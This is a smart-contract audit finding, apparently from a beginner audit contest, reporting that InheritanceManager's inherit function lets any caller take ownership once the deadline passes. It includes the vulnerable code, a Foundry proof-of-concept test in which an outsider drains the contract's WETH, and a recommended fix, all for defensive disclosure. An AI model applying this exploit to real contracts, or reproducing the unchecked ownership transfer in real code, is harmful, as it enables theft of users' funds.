Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Missing beneficiary authentication allows anyone to become the contract owner

Summary

Lack of beneficiary validation upon ownership change allows for anyone to become the wallet owner after the deadline has passed and there is only one beneficiary.

Vulnerability Details

The InheritanceManager::inherit function contains logic to transfer ownership of the contract to msg.sender if the inactivity deadline has passed with the intent for the single beneficiary to inherit the contract. However, it does so without verifying that the caller is the legitimate sole beneficiary allowing for anyone take ownership.

// InheritanceManager.sol
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
@> owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

Impact

The vulnerability allows for a malicious actor to claim ownership of the contract and steal all available assets.

Proof of Concept

  1. Owner adds funds to the inheritance manager

  2. Adds Bob as the sole beneficiary

  3. Owner is inactive for 90+ days

  4. Alice claims ownership as the deadline has passed and steals all funds

function test_anyoneCanClaimOwnership() public {
address bob = makeAddr("bob");
address alice = makeAddr("alice");
uint256 WETH_AMOUNT = 10e18;
weth.mint(address(im), WETH_AMOUNT);
vm.startPrank(owner);
im.addBeneficiery(bob);
vm.stopPrank();
vm.warp(91 days);
vm.startPrank(alice);
im.inherit();
im.contractInteractions(
address(weth), abi.encodeWithSignature("transfer(address,uint256)", alice, WETH_AMOUNT), 0, false
);
vm.stopPrank();
assertEq(alice, im.getOwner());
assertEq(weth.balanceOf(address(im)), 0);
assertEq(weth.balanceOf(alice), WETH_AMOUNT);
}

Add the above test to InheritanceManagerTest.t.sol and run with forge test --mt test_anyoneCanClaimOwnership

Tools Used

Foundry

Recommendations

Verify that the caller is the actual beneficiary:

+ error NotBeneficiary();
.
.
.
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
+ if (msg.sender != beneficiaries[0]) {
+ revert NotBeneficiary();
+ }
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.